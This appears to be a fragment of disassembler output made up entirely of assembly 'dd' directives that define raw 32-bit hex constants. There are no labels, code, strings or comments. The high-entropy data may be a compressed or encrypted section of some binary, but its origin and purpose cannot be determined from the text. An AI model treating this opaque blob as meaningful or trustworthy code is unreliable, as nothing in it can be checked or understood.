		dd 7517EABCh, 0EC74921Ah, 0B75EB374h, 5B57956Ah, 0DEF949DAh
		dd 0F8568020h, 0F747CBACh, 665E71Bh, 99646432h,	3CB364FAh
		dd 238C28A0h, 1A70A6F4h
		dd 0A6B82A68h, 0B4884225h, 63D4A73Bh, 0C197DC22h, 531262F0h
		dd 6B10525Dh, 0E4D506ECh, 0F5EAE99Ah, 6E277ADBh, 8D574F39h
		dd 68D07F37h, 0BE7874F0h, 0BE7161E2h, 2A7C3150h, 81C428FCh
		dd 51141AB8h, 9D6415D6h, 0DF5A3888h, 0A387E53Ch, 8C6F873h
		dd 0FE811859h, 9972CB70h, 961337B2h, 67198B82h,	5E6B5B74h
		dd 7F80D1D4h, 0D07B3E50h, 8366B700h, 24FE477Ch,	64752859h
		dd 0A580160Fh, 4D0EB650h, 23934706h, 0A5E80814h, 9A56BF7Ch
		dd 275FDE6Ah, 5CF89E62h, 8276FC0Ch, 9FF85533h, 0FC429E32h
		dd 0BE8828F9h, 896221FEh, 3E9CA5C0h, 0B1545B4Ch, 141EA590h
		dd 0AF755719h, 0F129EF5Ah, 274C23Eh, 75DB3322h,	5644C1DCh
		dd 0C515C082h, 2E536424h, 5351E423h, 0A940C40Bh, 0FEBC2433h
		dd 2437306Dh, 4756E0C8h, 0F9E0215Dh, 53C80BE0h,	210A43F9h
		dd 22784B53h, 0E4889C87h, 78AC67A8h, 212098DCh,	0E0E4A870h
		dd 0E5A30E69h, 20726013h, 0CD57245Ch, 9D896AEBh, 2D7BED6Fh
		dd 9321EE53h, 71509461h, 0A2F0288Eh, 0D51CF757h, 4CFA7385h
		dd 406043F0h, 715A98CCh, 0FC0BFFF3h, 9FE241B3h,	0E72C657h
		dd 3C01E083h, 0A6309354h, 41FB801Dh, 0FEE566BFh, 56F324BEh
		dd 987A20ACh, 0A6A2BB7h, 0E01CB378h, 8D1C2E22h,	0E65F3E14h
		dd 3F805E2h, 0F1B6375h,	0F0BCA56Bh, 0D11011F4h,	942E33F9h
		dd 0FE05AFE8h, 816DD1C3h, 0A44185AEh, 0F8E43253h, 26A27C39h
		dd 90584A5Fh, 190A8FA5h, 0A6576153h, 0F592AD1Ah, 54FDDC77h
		dd 247CF707h, 59798B04h, 0FC289280h, 0B4FEE544h, 3B04595Ch
		dd 0BA870FC6h, 27B7B3BFh, 0B16053D8h, 93C76647h, 5191021Eh
		dd 0A23BF098h, 55DC2D05h, 506A7730h, 0D97CFE97h, 9FE96BDAh
		dd 491A6DA3h, 75964D8Dh, 0D15F43E2h, 2D57669Eh,	2003681Ch
		dd 7BCA5B5h, 0D3ACB85Ah, 0D4494FA8h, 0D1B2B95Ah, 0C7FEC1ADh
		dd 5EFB2404h, 0D1B81451h, 0AC8EF229h, 562133A5h, 0A90C5DFDh
		dd 0EA6883BBh, 7F450323h, 0BA4B3F4Ch, 428E5EF0h, 745CA964h
		dd 99128EBh, 0F5A0B809h, 0F6576E42h, 746C5BDDh,	0C824606Ah
		dd 0FF27F0ECh, 0DB8574A3h, 76080E0Ch, 0BDF4223Dh, 3EB7C90h
		dd 9852F6B7h, 0C82BFAF0h, 73CB3B13h, 22F46AC2h,	5975C603h
		dd 0C074E71Dh, 29085D01h, 3B5764D9h, 0CD32836Eh, 9F2B9620h
		dd 0D8846145h, 3AEF40Dh, 855D98Ah, 81F01DC9h, 9EE0DF13h
		dd 0E8F90575h, 0F8665FCBh, 0B3AFE5DBh, 0F08E991Fh, 0DD593D4Ch
		dd 0C9D8147Dh, 6FF1846Fh, 5E74B10Ch, 0F38AC59Bh, 0A53F43CFh
		dd 4AEBEFF4h, 6C1122DEh, 6A969FF1h, 0FC118CFCh,	0C40E6003h
		dd 8843AB94h, 218684C8h, 0D08878CCh, 58D46268h,	8648D818h
		dd 8838DC21h, 946228E0h, 898181Ch, 0F89C1086h, 0E8A084AAh
		dd 0CDCA431h, 10C843A8h, 0B0CFB8ACh, 98B4C4F0h,	0C88B831h
		dd 107443BCh, 0E4C464C0h, 0B51E3450h, 0EE2468Dh, 0E118A21h
		dd 75118F0h, 0F80C0CF4h, 9195A9E2h, 5A709AC5h, 0C4852874h
		dd 0CD1E5109h, 1269DD44h, 0F656D33Fh, 5520FEAh,	301C8D05h
		dd 0EBFEBD1h, 2A9DE5Eh,	0C6AD802h, 0D9428B1h, 0F88B208Ah
		dd 3A0FD212h, 3834C1B1h, 0F712EED1h, 563CEE2Ah,	0B6E42128h
		dd 128D7420h, 0CC43A21h, 0CF91E908h, 4D41C826h,	311F3E26h
		dd 2DB0C3D7h, 995F5402h, 902E9804h, 644F7933h, 43C113C9h
		dd 89F7D233h, 0BD315150h, 82A8BC2Bh, 0D4A99868h, 629479B0h
		dd 0B92BE6D7h, 30C46207h, 0E1BDFA46h, 0AE2A5738h, 0CCEBF474h
		dd 8018BBC8h, 8B1D0151h, 10BF1BF3h, 0EFB8200Eh,	8DA13C6Ah
		dd 5AC73B2Bh, 0F6F7C1A1h, 339EF2F9h, 5DF50BC6h,	0DFFDF50Dh
		dd 1D500837h, 5EBE0EFCh, 32311FA0h, 5455F345h, 0EE3264D6h
		dd 0EE2A1C39h, 8B2F7C29h, 90944E0Bh, 0E566BDAAh, 7C6C0349h
		dd 1439E757h, 0A28425B5h, 945CBDAAh, 5E4B7403h,	46311FF7h
		dd 2A41EB18h, 0BF5765BAh, 9734FAA0h, 2C7B66CEh,	3D421A52h
		dd 3A21A305h, 5839E034h, 0EB035242h, 2310B46h, 3B5E079Fh
		dd 74A9D024h, 0F42400Eh, 68318A1Ch, 0FA8B43FFh,	0C099EA95h
		dd 0C32B2289h, 0D71B4900h, 504A5256h, 35DAF5E8h, 0D777A980h
		dd 3B3B0472h, 34D137DEh, 57576422h, 8B352066h, 164916CAh
		dd 589800F0h, 0B725B77h, 50FE8305h, 4B6ADD03h, 22CE247Eh
		dd 2210F477h, 21424647h, 2337113Bh, 882B1032h, 88219126h
		dd 481E441Bh, 210BC419h, 0C62A730Ah, 2B0020D1h,	3D11BC6h
		dd 0B7D713C3h, 0E8448C79h, 0AAC325FBh, 0E43F9F8Dh, 5795FC87h
		dd 9BFCA493h, 0DB331455h, 533824F3h, 9D395260h,	2640843Ch
		dd 7698644h, 0A4715567h, 24C1020h, 0D9A82C83h, 1924FC63h
		dd 2C70EB29h, 3260233Ch, 11202509h, 65431955h, 1C252145h
		dd 505BD239h, 5BA6336Ch, 8182C81h, 1548C29h, 46841412h
		dd 21023117h, 974297E8h, 0C7D8474h, 2F2D7538h, 42267E38h
		dd 6CF72774h, 18DDEF8Ch, 0C4BDAC3Bh, 9296BBCh, 8F332814h
		dd 5FA1A9FCh, 3F6A2B23h, 0A485C1C7h, 0FFFC6EFDh, 8131A6CFh
		dd 4CB8C4A1h, 565FFA62h, 91BEC26h, 0F74D8D0Dh, 3B277D28h
		dd 47E19FF3h, 0A4F76B0Ch, 4DD7F889h, 0BF64B711h, 99C03049h
		dd 2784AC8Ch, 16DDFC1Ch, 0FB182295h, 6475DB97h,	466A44ECh
		dd 2780F7C3h, 2EDD535Dh, 99EED37Ah, 319A0471h, 144BCC1Ch
		dd 8C0C1708h, 0C8DC206Ah, 0EFB779B5h, 336D79B4h, 49E92E44h
		dd 224E6642h, 0D975B10Bh, 0B11816B4h, 6EA62B4Dh, 29F81884h
		dd 9831D4EBh, 881144F9h, 85969D90h, 2AC2013h, 793ECB2h
		dd 7364EAF5h, 425EF7BBh, 4F6A46D6h, 0BEEA24BAh,	6CA8987h
		dd 38C83C10h, 39327D4Ah, 21F62B98h, 11EFD412h, 0BD1BB5D8h
		dd 218EE1BAh, 0AD23D046h, 0D99EF331h, 4A682960h, 0B7D516A4h
		dd 0CDAB4B41h, 5005E22Dh, 0DC5BB2FAh, 0BE561420h, 0B85A0680h
		dd 0CEBBD250h, 0CC3D12EAh, 750D905Ch, 1C092842h, 4583252Eh
		dd 0B2B8A81Dh, 161329B7h, 0ACF86804h, 0F6CDC6F2h, 0B2D8E242h
		dd 9DACF021h, 0CBA3E2ECh, 0E8BE18D0h, 0D9950AA4h, 6D7464E6h
		dd 10241672h, 0F674590Eh, 0C15E4413h, 1C4587ACh, 5C2D18F7h
		dd 43FA145Dh, 0FCA41165h, 9314EC93h, 902B93FBh,	775709E4h
		dd 587D111Ah, 2AF441B1h, 0ADD88246h, 0D0D49FB0h, 0F5FE38C2h
		dd 0E838814h, 0F2A72DECh, 0F995E479h, 3C6AC512h, 5FB89602h
		dd 0A02E6557h, 7D89340Fh, 0F4F4BB06h, 63FC55A8h, 690D8F1h
		dd 74461E0h, 59C18FBCh,	3652184Dh, 840F18E0h, 41EFDD4Bh
		dd 1576CCE3h, 986CA3FFh, 73841234h, 0A039F8AFh,	7AB70FD8h
		dd 0CD1EA375h, 52129B66h, 0E0CA1ED4h, 0A7D63A1Ah, 2DDC1265h
		dd 0FD13EA1Ah, 5712AF66h, 53381AE4h, 6A0A2ED2h,	4E515003h
		dd 4A74EFF2h, 0FA719DBFh, 0F37D98D7h, 0F25D4D74h, 2866F825h
		dd 0EE935797h, 32FE29BDh, 73AC2F2Dh, 74FC0715h,	1103FD3Ch
		dd 7DB958D3h, 0ADBC84A2h, 74082B4Bh, 69241907h,	64D707FAh
		dd 580F5ED9h, 7CE359F4h, 0AD3810A3h, 84F008CEh,	9D3CFAA4h
		dd 0D6FE2C2Dh, 0FAA4C214h, 0A7583011h, 0BF27B1A8h, 1ED7A425h
		dd 85FAFC7Dh, 0DC254024h, 30FCE58Bh, 0FE28B509h, 54FBD49Fh
		dd 0C4C85648h, 13E1DCBEh, 2905126Ah, 0CBD3ADEh,	0FBCCBC12h
		dd 724BA9A3h, 0B15F101Fh, 872C144Fh, 62BDE418h,	0F45C7D8Dh
		dd 0B1DC2ADAh, 82A4A534h, 0C2BA1056h, 0D1D7FEC2h, 17A51956h
		dd 4B9C02FAh, 0C13D5D9h, 100BA8BCh, 66C0F633h, 0A7D68485h
		dd 0A54B63BCh, 100A20A7h
		dd 0C62B2FC0h, 0F4481974h, 0EF565A64h, 0F3AFB325h, 219F7ECEh
		dd 14EBFCE0h, 0FACA164Ah, 0AB53C40Eh, 0E8D796B9h, 5CB95B1Fh
		dd 3B42F424h, 23B2BEF2h, 9E22A12Fh, 0BB112950h,	40D7DC6Bh
		dd 3897E79h, 4876EB5Bh,	0EC2A1C74h, 79858A70h, 8D3317E6h
		dd 96A8C97Ch, 248EFE7Eh, 1521CFB1h, 16B765A5h, 2445B688h
		dd 7D42F2F4h, 0D4364EC8h, 0F02A4C02h, 0FB66FE12h, 65674EEEh
		dd 48EC15D8h, 0E845F015h, 20EC0B4Ah, 0F4450BA2h, 71365C45h
		dd 94EA6208h, 0F9D7C6A8h, 33E841CEh, 0D3EC6BFFh, 6F5007E1h
		dd 82D746A9h, 5BDDB8DAh, 66BCE4D4h, 0BFBA5973h,	1029FE4Eh
		dd 0C4684C6Fh, 0C0956A45h, 9DFF78C7h, 1048D85Bh, 0A73E324Dh
		dd 8EE45451h, 0F078A745h, 8B139E8Ch, 24E2C749h,	5186F3Ah
		dd 4FEB6E06h, 2ABBB562h, 7EE829FFh, 926CB5D8h, 0CF564B5Ah
		dd 2E532489h, 0EB4C41CBh, 0C83FB06Eh, 3A4632A5h, 0BE32852Dh
		dd 5F01C342h, 7403D083h, 20829D29h, 0CB545CA7h,	74E13A23h
		dd 0AC6F530Eh, 497CA65Dh, 0EA22E5B7h, 8B53F86h,	5D310D3Dh
		dd 0AC7E5BA5h, 2DE3910Fh, 576E2BBFh, 6A702CC4h,	2FD11DA6h
		dd 25E6512h, 922F123Dh,	4FC4BF31h, 51D0FE9Dh, 0A9022E3Dh
		dd 8180BE0Fh, 0E0685015h, 0BC5FB222h, 0C603258Eh, 5317D040h
		dd 7DE31CB3h, 5CC98472h, 3DEE5757h, 58C37226h, 68C575A1h
		dd 4A585AFEh, 6A2819A9h, 0E22C7919h, 0A754F10h,	7D0BFE7h
		dd 7DF4E4AFh, 6BBC0C21h, 90C83452h, 4BDFC269h, 58E6878Dh
		dd 16378A0Dh, 4DFF0723h, 0E9E675FCh, 56B73596h,	784B76CEh
		dd 0D0D9DEAh, 2D2B28D6h, 4C1D7F78h, 40B17D2Dh, 564D0B28h
		dd 0B37A0845h, 3CC34FBh, 1228ACABh, 0BAA4C1F7h,	8A140B74h
		dd 0D5D44101h, 830F4014h, 4805F175h, 0CA50500Dh, 7FE71FFh
		dd 83D0037Eh, 0C23383F0h, 0A904C1A8h, 81E2C4B8h, 8BE87406h
		dd 7459FC41h, 0BEE45C32h, 0CDC9A92Ah, 0BF0F137Ch, 0EB020310h
		dd 0FD418DCDh, 0C12B5603h, 0FE1421C3h, 0FC2CFD64h, 0B4DC958Eh
		dd 0CF835786h, 0C460F5Ch, 0A89740A8h, 3D3A8F4Eh, 2334A5BCh
		dd 0B42BD404h, 0D38411A8h, 0DD10EEC5h, 44122708h, 57D3322h
		dd 64E6EB61h, 0BFE51C5Eh, 87B1A87Eh, 9DE6683h, 0EF88D59h
		dd 0E835C56Fh, 8B76DAF4h, 5A17E102h, 4ED39D60h,	166E884Dh
		dd 17D753A0h, 256A596Fh, 361F3674h, 9C24212h, 754FE83Ah
		dd 5F469F26h, 23A0FC74h, 66A972E4h, 92F6EA74h, 439E7449h
		dd 2716C9E4h, 0C5F90FEBh, 9FA4351Ah, 0B555C655h, 7C9D296Ch
		dd 0F0C8522h, 0BEE7C5AFh, 0CF89D11Eh, 0B9B87485h, 0FD4A4DBDh
		dd 0C7AB85D9h, 66148802h, 3EDE8EF7h, 0BD3C74DBh, 7C7EC0BCh
		dd 0AC76EEBh, 0F6711009h, 1C325034h, 45D9752Ah,	0C83B2307h
		dd 272F991h, 7657F742h,	20BD60E4h, 8737D29h, 0AA047E3Ch
		dd 330823Eh, 0EBFCD2DFh, 4D3B044Bh, 0ED2E7214h,	0C1127E05h
		dd 6AA10974h, 0FE12C0B5h, 4C536B82h, 0BCE92125h, 2297E3A0h
		dd 80293732h, 0EBD803D9h, 0E6D8A418h, 225D3E3h,	388288Eh
		dd 0AD4387A7h, 0BA8B14F4h, 7D8577E4h, 17508276h, 83871091h
		dd 0EB930C4Eh, 200D2404h, 2BB8334Eh, 0FABE7E68h, 90E8E514h
		dd 0FDEC452Ch, 0D266280Eh, 0DFF411FBh, 9A7D4176h, 792AF6DCh
		dd 8989A813h, 75227B15h, 7A02B899h, 0D9FF98D3h,	87ECE0FEh
		dd 3A69E1D3h, 0B25E86D4h, 97CC5ED2h, 0A035313Bh, 2D4C775Bh
		dd 36215F00h, 0C24C20DFh, 0B6365275h, 0EE6BDA17h, 912D1B88h
		dd 0FC43055Dh, 57EDC548h, 24CBAC1Eh, 0F56E1D57h, 7CAB6B4Dh
		dd 2FD26AE5h, 1E28DAEBh, 18959243h, 0E60FC614h,	0B7F048E6h
		dd 0A02D50F2h, 5E219F92h, 4F41557Ah, 93CD51C8h,	0A3144718h
		dd 0B421EA9Fh, 4A3DD047h, 7538A0A2h, 3AD0971Dh,	3B31BE45h
		dd 5FEBAF08h, 1AC3F2B2h, 9A02FF0Ah, 25458A09h, 2A652C69h
		dd 0A90B9212h, 14857709h, 240876F6h, 12BDAC54h,	1F725E10h
		dd 95C5D5D5h, 0D0EDFC17h, 0A48A1392h, 29910C36h, 0D6DD9C10h
		dd 73B700CEh, 0C1FE8B58h, 2A04EF24h, 9E93872Ah,	7F3AA739h
		dd 54975E4h, 32EB0842h,	0EE58957h, 0B60F3538h, 2BF80358h
		dd 0ABB5E504h, 3B743674h, 3134D985h, 54FB9216h,	43E828ADh
		dd 0EB7842A5h, 0F31D9114h, 0FEFCB010h, 0C5402157h, 251BD4EFh
		dd 672F04F2h, 11B9333Eh, 6B272314h, 160F92F4h, 0D106945h
		dd 7EC275B1h, 37231C66h, 6F493DEDh, 0EAD7504Bh,	4041AC5h
		dd 1D90CD28h, 0BF406AC3h, 84522274h, 5593828Fh,	9CBC6DC3h
		dd 988C3EBDh, 0BC75CAEh, 844FFB48h, 228A0DB0h, 0F311DE27h
		dd 39166140h, 7442C544h, 22143410h, 0C304DE75h,	0BD63E1CDh
		dd 15895B58h, 363FC4B9h, 0B4B6BB2h, 12860BC1h, 55B7435Ah
		dd 8DD09C81h, 6AF09170h, 1F77C2C8h, 0F7864ADFh,	0FECC8287h
		dd 1357281Ch, 7A0DEB1Eh, 0CCA065B7h, 548B0161h,	40D0C845h
		dd 5074D285h, 0D68A8C47h, 0AA8212C5h, 7204FD00h, 0EED9F72Dh
		dd 0DA0360E1h, 788D12Bh, 75494702h, 0FFC88BFAh,	0F3262F9h
		dd 83CA2110h, 0E90C80E2h, 0F3067402h, 0B277DDABh, 7F2C4A49h
		dd 0DC3655Fh, 0B9617604h, 60570C27h, 7B567A4Ah,	0E4D95453h
		dd 0C6F72514h, 0D3760EABh, 8337D6ACh, 21EB6F50h, 4606288Ah
		dd 25742564h, 21290285h, 0A0EB7520h, 2AB01E5Ch,	0D84E350h
		dd 3DC121A4h, 0F3754B2Fh, 5B10BF86h, 0F725CE5Eh, 126691C7h
		dd 34AE3B45h, 75122147h, 6C3B48EEh, 0FA5E33D9h,	99656A3h
		dd 4CDC1789h, 59AFC832h, 68B097Fh, 30F3816Ch, 8396C60Ah
		dd 8784DEC2h, 0F6472CC8h, 0C2F71E81h, 0C8A812Ch, 9A652C08h
		dd 0F5C074C6h, 0B8F3E281h, 0E156426h, 497215Ch,	5154D311h
		dd 0AAC9B36h, 8207E20Ah, 0AEF87560h, 0A485AAB1h, 0BF555350h
		dd 6F9053C6h, 43D09418h, 0B00F7ECCh, 6A072D03h,	0EDCF225Fh
		dd 803158B5h, 490D8B0Fh, 8A02C288h, 0E0834104h,	30CDD44h
		dd 2CD2EB47h, 0C931ED37h, 58EEEF42h, 282BEEC4h,	2B100475h
		dd 1744DB33h, 46A5E80Ch, 0A10B1441h, 3A70883Dh,	8D7A0D44h
		dd 5C149B73h, 631D046h,	0FD83CFEBh, 75C30486h, 0F8D8F702h
		dd 77719218h, 9D30CEB0h, 0AE2C17A1h, 2DFD043h, 6817D0FFh
		dd 29C29028h, 0DF65D14h, 0FA4CB243h, 100F8E10h,	78EF8DA4h
		dd 0C4ED495Ch, 2326B3B1h, 0A44B1BF5h, 3D2C399Ch, 758C0234h
		dd 9D083311h, 0FC161965h, 0FE0B8294h, 368DF0Ch,	3D308914h
		dd 1D884730h, 3C29A02Ch, 0D3BC3EA1h, 0C6EEACCBh, 15B80Dh
		dd 0FC718D56h, 1372F03Bh, 98AC06FCh, 28EE832Eh,	2233514h
		dd 685EED73h, 2C959134h, 0F1F7410Ah, 38114240h,	14D6B01Ch
		dd 7B10755Bh, 0A7878929h, 5F642CD4h, 3B2A11F3h,	0D732BABh
		dd 2DEEA858h, 5AD3EDEBh, 9DFD52A5h, 0E00FD6F1h,	44E9568Dh
		dd 0F19A4227h, 1C5AACD7h, 4852BAE4h, 0EF85AA7Fh, 34AA23Fh
		dd 78F08BE4h, 0E0642F08h, 5D98C0F0h, 69F34BD6h,	0FC2AEE1Ah
		dd 24AA14F5h, 0A85810A3h, 6906805Eh, 98FD7BC0h,	38057D8Dh
		dd 1655269Eh, 2589B07Bh, 2CBE9EDBh, 82624C50h, 118A5653h
		dd 729202C4h, 7126697Ah, 4F9F7501h, 1435F7D9h, 3E4607F4h
		dd 15A6D038h, 0D40B9EEAh, 0A200B06h, 96F5752Eh,	27505F17h
		dd 18F02C11h, 0FF7E8D07h, 0D00261A2h, 22286828h, 38873CCEh
		dd 93C475E0h, 653B0341h, 0FF668618h, 0F423C183h, 0B1EB36DFh
		dd 8A256B60h, 0B93180C2h, 6C478D96h, 0C7F41BFFh, 0ADFA0DD0h
		dd 0FA0C1495h, 3FE41AD9h
		dd 620A85h, 0CBF99D10h,	5471BA75h, 74B22513h, 378F15Fh
		dd 7B802172h, 1B753AD8h, 0B4BD49Ch, 72B55F6h, 29FBF623h
		dd 6680A91Fh, 9A433878h, 44F90AEBh, 82B3DBF2h, 0A0D4BAD5h
		dd 0FFBEAF81h, 1D088A4Ch, 268A6574h, 0F6D101C6h, 20D28182h
		dd 48C004D0h, 801AEB40h, 672F78F9h, 0D45C0A0Fh,	752E020Ah
		dd 0ECA05D0Bh, 1488D06h, 0C4B4DF0h, 0CF8B54F8h,	734A3943h
		dd 7E2A680Bh, 1F02BB36h, 0FE3BFB2Bh, 2DE96A58h,	7B102ADEh
		dd 638576B5h, 0EF840724h, 82441EE2h, 8510114Dh,	242131C9h
		dd 7781FC7Dh, 72FB3B4Ch, 460F6848h, 0EF14C83Fh,	187DF110h
		dd 2B446189h, 73626155h, 672F4EA5h, 58E1574Ah, 43BD3E24h
		dd 1446227Ah, 0C32B1714h, 2053CA22h, 18882B7Bh,	3C94ADFDh
		dd 3D510180h, 8D93CEB4h, 14722645h, 0C56842EEh,	11872D12h
		dd 80189A85h, 0C82BEC73h, 1ADDC48Bh, 82A8E11Dh,	50044012h
		dd 0F814CF34h, 6905D67Dh, 8DD17FFBh, 0B32036EBh, 13565B0Ch
		dd 4E124204h, 0E3847804h, 148800Eh, 0EBEC8941h,	0B932075Ah
		dd 4ACCD259h, 0EB1C1216h, 5705EB0Ch, 80D91275h,	0BB795227h
		dd 3F3BE5A4h, 0F1AE087Dh, 0B1EB176Ah, 0E1FB293Ch, 23099DB5h
		dd 530C163Dh, 405AA4E9h, 1F8A08A9h, 8190778Dh, 0DFC7F982h
		dd 99A5C391h, 0DF2BACDCh, 1EE80559h, 0D0EB0646h, 6D2DFB80h
		dd 0FC23EE5h, 1C050614h, 31162B6Dh, 0A35D27A5h,	8C8C0F7Bh
		dd 0FC445352h, 2409443Bh, 7A448FF2h, 5939C76Ah,	305EDC75h
		dd 0EE87745Ah, 100E0AD7h, 0B05322Ch, 0F88E783Ch, 9013588Ah
		dd 8F1F8908h, 6392C12h,	53176E75h, 902012AAh, 0ADA07F04h
		dd 4671015Eh, 0FFC82D84h, 0BF10E9A1h, 0F8A9A703h, 81BD8EE4h
		dd 5B29F3A6h, 0BE8E20BDh, 0E934CB7Ah, 0EC28E230h, 2B57560Bh
		dd 588B66C6h, 57C72332h, 48FF0B4Ah, 5FB3FBCBh, 3784A459h
		dd 738D3B50h, 0EEF1364Ah, 8E87EE15h, 0D884F474h, 842912C4h
		dd 9176CAFCh, 6942C05h,	1CAF0F09h, 89F1031Ah, 262C7D4Ch
		dd 18498A06h, 72B61FFCh, 0C4F13875h, 1A0C55D8h,	4008C1F6h
		dd 0FABF695Ah, 82FC48BAh, 2A4DEB86h, 0A6B8042Eh, 3A1C7543h
		dd 3E840114h, 8102E183h, 0B17D8106h, 77800234h,	75D860E6h
		dd 45393E2Ch, 0F6277689h, 0C701B780h, 8497EC05h, 70FE228Dh
		dd 11EBFF84h, 6080B5CCh, 1BD90EF6h, 383F7C9h, 286689C8h
		dd 0F4F905BBh, 9061DA02h, 0F7F8F168h, 8FD4D868h, 36E051BCh
		dd 0AD023FA9h, 6A233038h, 0DA1F9901h, 1774467Fh, 0EC427088h
		dd 0D5AAE4BDh, 0A5BF7F8h, 0F9597FFCh, 0CB1374A5h, 0FC89C4FBh
		dd 0AB2BD7E6h, 2C6B40D1h, 0BF8B1177h, 73FDFC90h, 0C7D824BDh
		dd 0A4202D53h, 884C7A75h, 0FFC90583h, 541AEF2h,	0C8A4FBDh
		dd 4714FD9Dh, 74073813h, 802FE23h, 0C95FFC5Eh, 0C230295Ah
		dd 0E383837Bh, 7FD9D326h, 4AF76D73h, 0CBF4125Ch, 9BC8DBC2h
		dd 8A24A6F3h, 0C9078B46h, 7753473Ah, 49803804h,	8BD1F781h
		dd 4B5E5BC1h, 0BF404B41h, 8D6AEB08h, 242BEDA4h,	898AA8BEh
		dd 11E15B57h, 523B880Fh, 44F6DC54h, 438C1A23h, 0F2798F0Eh
		dd 0FE575587h, 7F0A08A6h, 2A0341FDh, 600CCD4Ah,	118A1961h
		dd 64970105h, 4C471788h, 2EB0EE63h, 0C649749Ch,	8A0142C5h
		dd 0E1E66C11h, 9344B61h, 0C5EC2750h, 0D7661246h, 99E72C7h
		dd 9206665h, 0E10247C6h, 12940D5Dh, 8DC10888h, 0F65BFF42h
		dd 64E3EEBBh, 14350E5Ah, 42D8410Bh, 0F52CD0FEh,	809BA0A1h
		dd 420A8A13h, 0D1EED938h, 0A9C9843Dh, 75021351h, 40D80BEDh
		dd 1BC1C32Dh, 125610E3h, 4DBF0AC1h, 6F48FAA2h, 0F07203CBh
		dd 0F183F90Ah, 0CF47ABFFh, 0C2A0C6E7h, 0A4E18104h, 53B690ACh
		dd 0D328B325h, 8F9FF07h, 8D9EE6E9h, 52C41780h, 8B22408Ah
		dd 0D838FC42h, 38367424h, 0DC14EF9Eh, 0E73C54CFh, 10E8C119h
		dd 0DC121527h, 0D4430624h, 5C4696EBh, 0FE6875B2h, 0FD110770h
		dd 4C4BFC88h, 1C0445E0h, 3C7C75B8h, 0D83A0231h,	889E0A2Eh
		dd 12611926h, 8A37E725h, 41C3B11Dh, 2019E302h, 379112Bh
		dd 164E25FDh, 0D2F436A6h, 8B88F090h, 0D1E81B90h, 9240E028h
		dd 18892F9h, 218D8F3h, 41E98B42h, 28E063CDh, 66A810F6h
		dd 468B2DAh, 0CA48D25Ch, 0C14DC944h, 8C7A4296h,	54A77471h
		dd 570C846Ch, 0EABBD46Ah, 0F3E050C0h, 0B07F4ABh, 0B3168A5Fh
		dd 81CA78A4h, 40CF2327h, 0E3D20385h, 5448D12h, 46186604h
		dd 0E575C481h, 85E5F461h, 9EF0EA6h, 0D1E33815h,	516AE235h
		dd 5BDEC3FEh, 0E3D35200h, 8A03EEC1h, 0E035124Ch, 77F0984h
		dd 42870C2Fh, 0DA8BB3EBh, 1E174465h, 0A56245Bh,	0E0D3584Ah
		dd 750ACF26h, 1D801622h, 29DA4FCh, 5EC22B5Fh, 8925A5FDh
		dd 0C3235645h, 10E3CB84h, 0E2E78492h, 0A1AC9713h, 0CB0F8793h
		dd 89E164Eh, 0F09AAD75h, 666C8BD5h, 0CCB0D6E6h,	2EB25396h
		dd 3945C3B6h, 2E4CA6E6h, 0C7908D7Fh, 1F1147B2h,	0A311612h
		dd 0CF31750Ch, 0EF83E04Fh, 757EBC7Fh, 97E5037Ah, 4ECB040Ah
		dd 8C097517h, 0EB244EF3h, 3F2A531Ch, 3333742Ch,	72174996h
		dd 303B4C9Bh, 0D2A6CBAFh, 3FD8470Dh, 3D49054Dh,	0F2CF375h
		dd 7A0226EFh, 2BBCB6D8h, 0C81ED051h, 792A96D0h,	472B7866h
		dd 14594D44h, 0A0DD233h, 10025788h, 73CA1B68h, 495DA45Ah
		dd 47776725h, 19FFE7C1h, 6D107619h, 84769485h, 100BB0FDh
		dd 4924D095h, 0CEACD2ACh, 0D1618049h, 3D3BC603h, 47476FEh
		dd 78820FF8h, 0A204A801h, 0E3F1AB14h, 8F998A2h,	0F3290072h
		dd 9524FFA5h, 415ACE68h, 80BACC82h, 4E9831Dh, 7B0C7572h
		dd 0C2C8F8E0h, 0CD808530h, 668D0E0Ch, 11903F78h, 0CE8BFC7Fh
		dd 9BC640Bh, 0D12342E0h, 3ADD548Ah, 0AB014612h,	0DB025EA4h
		dd 0B42012AFh, 5DC754C6h, 8D8A85CCh, 2E522C49h,	8376D026h
		dd 16A622CCh, 32249052h, 85474546h, 40388C1Ah, 4C0FCC5Fh
		dd 3C894409h, 2C243412h, 1C912448h, 3A8E4150h, 8F3A89E4h
		dd 5DE81164h, 0D2EC4522h, 225DF024h, 24D2F445h,	45225DF8h
		dd 48DD0FCh, 59CF72E5h,	0AF82488h, 0F123C553h, 8C092280h
		dd 957AA045h, 90F7C252h, 0C1C9E92h, 1286FA8Ch, 0EB6A48Ah
		dd 2C300BAAh, 3163748Dh, 0A4397CD0h, 8724809Ch,	0E4FD0D0Ah
		dd 82F1FC1Bh, 0D9F710D0h, 0B0296692h, 90A9F0CFh, 2B62F944h
		dd 86CF0810h, 1889D0E0h, 9381999h, 48DC1660h, 0E06E3B03h
		dd 4FB34EACh, 0FB657A1h, 0EA209868h, 92EE71A4h,	7E32EF06h
		dd 522A968Ch, 4BDA2890h, 0EE59AC9Ch, 48AF4252h,	885A2746h
		dd 0B4D15C53h, 22BC8053h, 0CC44C409h, 12DC89D4h, 55F724E4h
		dd 0E91C2268h, 74181191h, 48171489h, 89741091h,	9148170Ch
		dd 4897408h, 983C4917h,	106620ACh, 4409180Dh, 968A3C28h
		dd 2AB8828Ch, 2A7A88B6h, 1CF28410h, 0A7B8AD14h,	56624F74h
		dd 0BDE6FDBEh, 0AE203512h, 22824A9h, 3EDD649Ch,	4FD3BE59h
		dd 6651B00Eh, 7FF03225h, 5F0B3D0Ah, 55751B83h, 5B0F3D3Fh
		dd 2D7E71D1h, 537A1D3Ah, 2399A41Ah, 8E535DCDh, 0B6A4188h
		dd 7A612DBEh, 56701598h, 7FDC4A53h, 0DC0F6230h,	0E297F805h
		dd 432913F3h, 0F272311Fh, 553D50EBh, 3D09D16h, 0DCDD2CDCh
		dd 4ABF5FB4h, 0E4400E56h, 0F62240F8h, 687520C3h, 0F93F19EDh
		dd 0B4724210h, 0A2B6B30Fh, 233CC11Bh, 40A352B8h, 0A20C894h
		dd 0E238DBF8h, 30B8BFC3h, 5C7F425h, 0DFD45034h,	142163D5h
		dd 136430A3h, 3B45381Eh
		dd 3C190822h, 14647B91h, 29234C40h, 0B54479A3h,	0C400E3F3h
		dd 7DD99BF4h, 0B17EE9FEh, 0CC80D4A1h, 0F4970C5Fh, 0DF316DF7h
		dd 0C9BF47Dh, 32B726FEh, 4645F855h, 0A22A3864h,	0C44350Ch
